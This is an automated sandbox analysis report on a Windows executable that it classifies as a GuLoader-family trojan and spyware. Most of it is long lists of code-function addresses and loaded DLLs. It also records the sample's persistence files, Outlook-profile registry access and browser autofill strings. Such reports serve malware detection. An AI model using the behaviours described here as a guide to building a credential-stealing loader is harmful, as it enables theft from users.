Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F69B48	12_2_37F69B48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F63B48	12_2_37F63B48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6F148	12_2_37F6F148
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F65B37	12_2_37F65B37
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6B330	12_2_37F6B330
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F63238	12_2_37F63238
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6DE38	12_2_37F6DE38
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F69B38	12_2_37F69B38
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6F620	12_2_37F6F620
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6702F	12_2_37F6702F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F65228	12_2_37F65228
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F68828	12_2_37F68828
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F63228	12_2_37F63228
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6DE29	12_2_37F6DE29
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F61710	12_2_37F61710
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6A010	12_2_37F6A010
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6B31F	12_2_37F6B31F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F62918	12_2_37F62918
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6CB18	12_2_37F6CB18
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F65218	12_2_37F65218
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F68818	12_2_37F68818
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F60006	12_2_37F60006
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6CB07	12_2_37F6CB07
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6E300	12_2_37F6E300
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6A001	12_2_37F6A001
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6290E	12_2_37F6290E
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6F60F	12_2_37F6F60F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6170A	12_2_37F6170A
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F64908	12_2_37F64908
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F1828	12_2_3A3F1828
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FF668	12_2_3A3FF668
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F0E98	12_2_3A3F0E98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F7FA8	12_2_3A3F7FA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FF988	12_2_3A3FF988
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FDA38	12_2_3A3FDA38
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FF028	12_2_3A3FF028
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F8C28	12_2_3A3F8C28
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FBE28	12_2_3A3FBE28
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F1818	12_2_3A3F1818
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FD408	12_2_3A3FD408
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FA208	12_2_3A3FA208
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F0006	12_2_3A3F0006
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FC468	12_2_3A3FC468
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F9268	12_2_3A3F9268
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FA848	12_2_3A3FA848
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FDA48	12_2_3A3FDA48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F0040	12_2_3A3F0040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F82B7	12_2_3A3F82B7
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FFCA8	12_2_3A3FFCA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FCAA8	12_2_3A3FCAA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F98A8	12_2_3A3F98A8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FFC99	12_2_3A3FFC99
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FE088	12_2_3A3FE088
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FAE88	12_2_3A3FAE88
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F0E87	12_2_3A3F0E87
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F04F9	12_2_3A3F04F9
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F9EE8	12_2_3A3F9EE8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FD0E8	12_2_3A3FD0E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F9EDA	12_2_3A3F9EDA
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FB4C8	12_2_3A3FB4C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F82C8	12_2_3A3F82C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FE6C8	12_2_3A3FE6C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FC138	12_2_3A3FC138
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FD728	12_2_3A3FD728
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FA528	12_2_3A3FA528
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FA517	12_2_3A3FA517
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FED08	12_2_3A3FED08
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F0508	12_2_3A3F0508
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F8908	12_2_3A3F8908
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FBB08	12_2_3A3FBB08
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F1F68	12_2_3A3F1F68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FAB68	12_2_3A3FAB68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FDD68	12_2_3A3FDD68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F1360	12_2_3A3F1360
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FDD57	12_2_3A3FDD57
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F1350	12_2_3A3F1350
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FC148	12_2_3A3FC148
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F8F48	12_2_3A3F8F48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FF348	12_2_3A3FF348
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FE3A8	12_2_3A3FE3A8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FB1A8	12_2_3A3FB1A8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FE39A	12_2_3A3FE39A
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F7F98	12_2_3A3F7F98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FC788	12_2_3A3FC788
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F9588	12_2_3A3F9588
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FD3F8	12_2_3A3FD3F8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F21F1	12_2_3A3F21F1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FB7E8	12_2_3A3FB7E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F85E8	12_2_3A3F85E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FE9E8	12_2_3A3FE9E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FE9D9	12_2_3A3FE9D9
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F85D8	12_2_3A3F85D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FB7D8	12_2_3A3FB7D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F09D0	12_2_3A3F09D0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F9BC8	12_2_3A3F9BC8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3FCDC8	12_2_3A3FCDC8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F09C2	12_2_3A3F09C2
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A40D3F0	12_2_3A40D3F0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A406DA0	12_2_3A406DA0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A406440	12_2_3A406440
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A403240	12_2_3A403240
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A400040	12_2_3A400040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A401C50	12_2_3A401C50
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A404E51	12_2_3A404E51
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A404E60	12_2_3A404E60
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A401C60	12_2_3A401C60
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A400670	12_2_3A400670
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A403871	12_2_3A403871
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A406A71	12_2_3A406A71
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A405E00	12_2_3A405E00
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A402C00	12_2_3A402C00
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A40160F	12_2_3A40160F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A404820	12_2_3A404820
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A401620	12_2_3A401620
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A403230	12_2_3A403230
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A403EC0	12_2_3A403EC0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A400CC0	12_2_3A400CC0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4028CF	12_2_3A4028CF
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A405AD0	12_2_3A405AD0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A405AE0	12_2_3A405AE0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4028E0	12_2_3A4028E0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4044EF	12_2_3A4044EF
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4012F0	12_2_3A4012F0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A406A80	12_2_3A406A80
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A403880	12_2_3A403880
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A400680	12_2_3A400680
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4054A0	12_2_3A4054A0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4022A0	12_2_3A4022A0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A404B40	12_2_3A404B40
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A401940	12_2_3A401940
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A403550	12_2_3A403550
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A403560	12_2_3A403560
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A400360	12_2_3A400360
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A406760	12_2_3A406760
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A408778	12_2_3A408778
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A404500	12_2_3A404500
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A401300	12_2_3A401300
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A40EB18	12_2_3A40EB18
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A406120	12_2_3A406120
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A402F20	12_2_3A402F20
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A40192F	12_2_3A40192F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A404B31	12_2_3A404B31
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4057C0	12_2_3A4057C0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4025C0	12_2_3A4025C0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4041E0	12_2_3A4041E0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A400FE0	12_2_3A400FE0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A402BEF	12_2_3A402BEF
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A405DF1	12_2_3A405DF1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A405180	12_2_3A405180
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A401F80	12_2_3A401F80
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A403B8F	12_2_3A403B8F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A400990	12_2_3A400990
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A406D92	12_2_3A406D92
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A403BA0	12_2_3A403BA0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4009A0	12_2_3A4009A0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A4057B0	12_2_3A4057B0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE37F0	12_2_3AAE37F0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE48DA	12_2_3AAE48DA
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE2A20	12_2_3AAE2A20
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE2338	12_2_3AAE2338
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE1530	12_2_3AAE1530
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE3108	12_2_3AAE3108
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE0E48	12_2_3AAE0E48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE1C50	12_2_3AAE1C50
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE098A	12_2_3AAE098A
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE37E6	12_2_3AAE37E6
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE0AD0	12_2_3AAE0AD0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE152C	12_2_3AAE152C
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE2328	12_2_3AAE2328
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE0E38	12_2_3AAE0E38
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE0006	12_2_3AAE0006
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE3102	12_2_3AAE3102
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE0A18	12_2_3AAE0A18
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE2A10	12_2_3AAE2A10
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE0040	12_2_3AAE0040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3AAE1C40	12_2_3AAE1C40

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Code function: String function: 00402A07 appears 51 times

Source: axN56TZ3PI.exe

Static PE information: invalid certificate

Source: axN56TZ3PI.exe

Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: axN56TZ3PI.exe, 0000000C.00000002.6021727103.0000000070B7B000.00000020.00000001.01000000.0000000C.sdmp

Binary or memory string: OriginalFilenameSystem.Windows.Forms.dllT vs axN56TZ3PI.exe

Source: axN56TZ3PI.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/14@5/5

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Code function: 0_2_004042E6 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_004042E6

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Code function: 0_2_00402036 CoCreateInstance,MultiByteToWideChar,

0_2_00402036

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Wull157

Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

File created: C:\Users\user\AppData\Local\Temp\nst8CF5.tmp

Jump to behavior

Source: axN56TZ3PI.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000390B3000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: axN56TZ3PI.exe	Virustotal: Detection: 65%
Source: axN56TZ3PI.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

File read: C:\Users\user\Desktop\axN56TZ3PI.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\axN56TZ3PI.exe "C:\Users\user\Desktop\axN56TZ3PI.exe"
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process created: C:\Users\user\Desktop\axN56TZ3PI.exe "C:\Users\user\Desktop\axN56TZ3PI.exe"
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process created: C:\Users\user\Desktop\axN56TZ3PI.exe "C:\Users\user\Desktop\axN56TZ3PI.exe"	Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: fedtlderstvles.lnk.0.dr	LNK file: ..\foretell\Skrabnsens.bed
Source: fedtlderstvles.lnk0.0.dr	LNK file: ..\..\user\foretell\Skrabnsens.bed

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\banaleres.ini

Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2039834509.00000000053C9000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Code function: 0_2_00405EC3 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405EC3

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 0_2_10002CE0 push eax; ret	0_2_10002D0E
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F62908 pushfd ; iretd	12_2_37F6290D
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_3A3F7800 push eax; ret	12_2_3A3F7809

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

File created: C:\Users\user\AppData\Local\Temp\nsp8FE4.tmp\System.dll

Jump to dropped file

